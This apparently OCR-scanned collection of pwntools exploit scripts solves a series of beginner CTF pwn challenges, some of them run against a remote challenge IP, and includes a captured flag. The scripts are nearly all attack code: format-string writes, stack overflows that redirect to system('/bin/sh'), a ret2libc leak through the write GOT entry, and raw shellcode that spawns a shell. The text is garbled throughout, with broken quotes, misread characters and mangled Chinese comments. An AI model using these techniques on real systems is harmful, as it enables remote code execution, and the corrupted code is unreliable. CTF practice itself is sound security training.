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get_shell

#coding = utf-8
from pwn import *

context.log_level = 'debug'

io = remote('111.198.29.45', 54766)
io.sendline(ls")

io.sendline('cat flag')

io.interactive()

flag:

cyberpeace{c2b35808d0b8ef3e67b38bf4351aalc4}

CGfsb

from pwn import *
#context.log_level='debug'

p = process('./CGfsb")

#p = remote("111.198.29.45","33966")
pwnme = 0x804a068

p.recvuntil(":")

p.sendline("1111")

p.recvuntil(":")
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payload = p32(pwnme) + 'aaaa’' + '%10$n’
#payload = fmtstr_payload(10,{pwnme:8})
#payload = 'AAAA

#gdb.attach(p,"b *0x080486C1\nc")
#pause()

p.sendline(payload)

p.interactive()

when_did_you_born

#!/bin/usr/python2

from pwn import *

#p = remote('111.198.29.45','36187")
p = process(‘when_did_you_born')
birth = "1927"

name = "aaaaaaaa"+ p32(0x00000786)
print name

p.recvuntil("What's Your Birth?")
p.sendline(birth)

p.recvuntil("What's Your Name?")
p.sendline(name)

print p.recv()

print p.recv()

print p.recv()



hello_pwn

from pwn import *
#context.log_level="debug'

p = process('./hello_pwn")

#p = remote("111.198.29.45","33966")
pwnme = 1853186401

#p.recvuntil(:")

#p.sendline("1111")

#p.recvuntil(":")

payload = 'aaaa' + p32(pwnme)
#payload = fmtstr_payload(10,{pwnme:8})
#payload = 'AAAA

#gdb.attach(p,"b *0x080486C1\nc")
#pause()

p.sendline(payload)

p.interactive()

levelO

from pwn import * #5 A\ pwntoolss pwnt K Fi A W 2

#context.log_level="debug'

#p = process('./levelQ')

p = remote('111.198.29.45',33907) # #H ML 2T ERXE, EFHFncip O 4
elf = ELF('/level0') # PAELF3C#E#% R i Blevel0z 14



sysaddr = elf.symbols['callsystem’] # 3k EXELF 3 14 callsystembzic i s bt

payload = 'a™(0x80 + 8) + p64(sysaddr) # payload, 5tH0x88/JH F#F & sbufflipushh N %, Z/EHE
IR [B] H ik

p.recv() #EEKHH
p.send(payload) # /& i%payload
p.interactive() # & #shelli# T3 B

Level2

#!usr/bin/python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level="debug'

p = process('./level2')

#p = remote("111.198.29.45","54845")

system = 0x8048320

binsh = 0x804A024

#system("/bin/sh")

payload = 0x8¢c * "A" + p32(system) + p32(0) + p32(binsh) ##/bin/shE A\ H {Esystem K153
p.sendline(payload)

p.interactive()

String

#lusr/bin/python



-*- coding: utf-8 -*-

from pwn import *

io = remote('111.198.29.45', 44980)

# io = process('./string")

io.recvuntil("secret[0] is ")

v3_0_addr = int(io.recvuntil("\n")[:-1], 16)

log.info("v3_0_addr:" + hex(v3_0_addr))

io.recvuntil("character's name be:")

io.sendline("kk")

io.recvuntil("east or up?:")

io.sendline("east")

io.recvuntil("there(1), or leave(0)?:")

io.sendline("1")

io.recvuntil("'Give me an address™)

io.sendline(str(v3_0_addr))

io.recvuntil("you wish is:")

io.sendline("%85¢c%7%n")

# shellcode = asm(shellcraft.amd64.linux.sh()) #H 314 B4 s fshellcode
shellcode = "\x6a\x3b\x58\x99\x52\x4 8\xbb\x2A\x2f\x62\x69\x6 € \X2f\x7 3\x68\x53\x54 \x5\x52\x57\x54\x5e\x0f\x05"
io.recvuntil("USE YOU SPELL")

io.sendline(shellcode)

io.interactive()

guess_num

from pwn import *

from ctypes import *



context.log_level = 'debug'
#p = process('./guess_num')
p = remote("111.198.29.45","32593")
elf = ELF("./guess_num)
# libc = elf.libc
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so0.6")
payload = 0x20*'a" + p64(1)
p.recvuntil('name:")
p.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
p.recvuntil('number:')
p.sendline(num)

p.interactive()

int_overflow

#lusr/bin/python

from pwn import *

#context.log_level = "debug"”

io = remote("111.198.29.45", 49114)
# io = process("./int_overflow")
cat_flag_addr = 0x0804868B

io.sendlineafter("Your choice:", "1")



io.sendlineafter("your username:", "kk")
io.recvuntil("your passwd:")

payload = "a" * 0x14 + "aaaa" + p32(cat_flag_addr)
payload = payload.ljust( 259,"a")
io.sendline(payload)

io.recv()

io.interactive()

cgpwn2

# -*- coding: UTF-8 -*-

from pwn import*
elf=ELF('./cgpwn2')
io=remote('111.198.29.45''38079")
addr=0x804a080

io.recv()

io.sendline("/bin/sh\x00")
sys_addr=elf.symbols['system']
io.recv()
p=42*'a'+p32(sys_addr)+'a™4+p32(addr)
io.sendline(p)

io.interactive()

Level3



#-*-coding:utf-8-*-
from pwn import *

#EAK: BRREFEEHES, TURBEH SR Areadiifl. @3B #REMME, PATHAKmainR . F—Kittls
write B BRI, 5 = kAT systemEzi .

#5 A\ pwnisih

from pwn import *

HRBUZTZHIEN B

p=remote('111.198.29.45' 53745)

HIRBUA RN B

#p = process("./level3/level3")

HIREUCA 3 B

elf=ELF('/level3/level3')

HIREXib EEXT 5

libc = ELF('./level3/libc_32.s0.6")

IR X B
write_plt=elf.plt['write]
write_got=elf.got['write']

main_addr=elf.sym['main’]

HER R

p.recvuntil(":\n")

#char[88] ebp write i Zihhit write bR ZUR [F] bk (R [F] Blmainki 31) write RS H—(1) writel$S%$—
(write_gotHilit) write S H = (54%7)

payload=0x88"'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)

p.sendline(payload)



#HR B write7EgotH [ Hi bk
write_got_addr=u32(p.recv())

print hex(write_got_addr)

#it Hlib P H bt
libc_base=write_got_addr-libc.sym['write']

print hex(libc_base)

#it Hsystemify s it
system_addr = libc_base+libc.sym['system]

print hex(system_addr)

HHE RS /oin/sh fiHihk. 0x15902b MW, EBitdr4: strings -a -t x libc_32.s0.6 | grep "/bin/sh" $KEX
bin_sh_addr = libc_base + 0x15902b

print hex(bin_sh_addr)

#char[88] ebp system systemi £ )1 [E] H#ihik: systemiki #1245 (bin_sh_addr)

payload2=0x88*a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)

HER R

p.recvuntil(":\n")

# & i%payload

p.sendline(payload?2)

ZlE SR

p.interactive()
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